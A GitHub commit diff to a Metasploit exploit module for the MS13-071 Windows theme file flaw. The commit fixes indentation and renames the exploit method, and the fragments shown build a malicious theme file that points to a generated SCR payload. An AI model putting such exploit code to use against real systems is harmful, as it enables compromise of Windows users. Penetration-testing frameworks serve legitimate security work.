Skip to content

Commit aaab4b4

Browse files
committed
Fix indenting and use primer
1 parent 0e57277 commit aaab4b4

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/exploits/windows/fileformat/ms13_071_theme.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -57,15 +57,17 @@ def initialize(info={})
5757
'Privileged' => false,
5858
'DisclosureDate' => "Sep 10 2013",
5959
'DefaultTarget' => 0))
60-
register_options(
60+
61+
register_options(
6162
[
62-
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
63-
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
63+
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
64+
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
6465
], self.class)
65-
deregister_options('FILE_CONTENTS')
66+
67+
deregister_options('FILE_CONTENTS')
6668
end
6769

68-
def exploit
70+
def primer
6971
self.file_contents = generate_payload_exe
7072
print_status("Malicious SCR available on #{unc}...")
7173

0 commit comments

Comments
 (0)